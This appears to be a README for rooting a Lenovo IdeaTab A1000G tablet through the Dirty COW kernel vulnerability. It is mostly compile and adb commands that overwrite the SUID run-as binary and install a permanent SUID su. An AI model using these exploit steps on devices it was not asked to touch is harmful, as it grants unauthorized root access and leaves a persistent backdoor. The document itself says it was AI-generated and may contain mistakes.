Lenovo IdeaTab A1000G — Root
Note: This documentation and exploit code was generated with AI assistance (Kiro).
Verify before use — AI can and does make mistakes.
Device
| Field | Value |
|---|
| Model | Lenovo IdeaTab A1000G |
| SoC | MediaTek MT8317 (= MT6517) |
| CPU | Dual-core Cortex-A9 @ 1.2GHz |
| Kernel | Linux 3.4.0 |
| Build | A1000G_A412_01_09_130907_2G |
| Android | 4.1.2 (Jelly Bean) |
Prerequisites
- USB debugging enabled
- ADB connected
- Android NDK r28+ at
~/Android/Sdk/ndk/
busybox-armv7l static binary (busybox.net/downloads/binaries/1.21.1/)
Exploit — CVE-2016-5195 (Dirty COW)
Race condition in kernel mmap/write path. Affects kernels 2.6.22–4.8.3.
Target: /system/bin/run-as (SUID root, 9448 bytes).
1. Compile
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
CC=$NDK/armv7a-linux-androideabi21-clang
# dcow exploit
$CC -o dcow -static -march=armv7-a -mfloat-abi=softfp -O1 \
-UPRINT -UDEBUG "-DLOGV(...)=printf(__VA_ARGS__)" \
dcow_main.c dirtycow_android.c
# su binary
$CC -o su -march=armv7-a -mfloat-abi=softfp -Os -s -fno-pie -no-pie su2_src.c
2. Pad su to target size (9448 bytes)
with open('su', 'rb') as f: data = f.read()
data = data + b'\x00' * (9448 - len(data))
with open('su_padded', 'wb') as f: f.write(data)
3. Run
adb push dcow su_padded su /data/local/tmp/
adb shell chmod 755 /data/local/tmp/dcow /data/local/tmp/su_padded /data/local/tmp/su
adb shell "/data/local/tmp/dcow /data/local/tmp/su_padded /system/bin/run-as"
# Wait for: [+] Success!
4. Install su permanently
# Enter root shell first
adb shell /system/bin/run-as
# Then:
mount -o remount,rw /system
toolbox dd if=/data/local/tmp/su of=/system/bin/su
toolbox chmod 6755 /system/bin/su
toolbox chown root:root /system/bin/su
5. Install busybox (optional)
# From PC:
adb push busybox-armv7l /data/local/tmp/busybox
# From root shell:
toolbox dd if=/data/local/tmp/busybox of=/system/bin/busybox
toolbox chmod 755 /system/bin/busybox
/system/bin/busybox --install /system/bin/
Usage
adb shell
/system/bin/run-as # drops to root shell (#)
id # uid=0(root)
adb shell /system/bin/su -c cmd does NOT work — ADB drops setuid.
Must enter an interactive shell first.
Post-Root
/system/bin/run-as → overwritten (original run-as functionality broken)/system/bin/su → permanent SUID su binary/system/bin/busybox → busybox 1.21.1
Failed Attempts
| Method | Reason |
|---|
| CVE-2013-1763 sock_diag | Not compiled into kernel |
Files
.
├── README.md
├── root.sh # automated root script
├── dirtycow_android.c # CVE-2016-5195 core (Arinerron fork)
├── dcow_main.c # main() wrapper
└── su2_src.c # su binary source
Precompiled binaries not included — compile from source using the steps above.
References
voidgguy/lenovo-a1000g-mt8317-a412_01_09_130907-kernel-3.4.0-root-cve-2016-5195
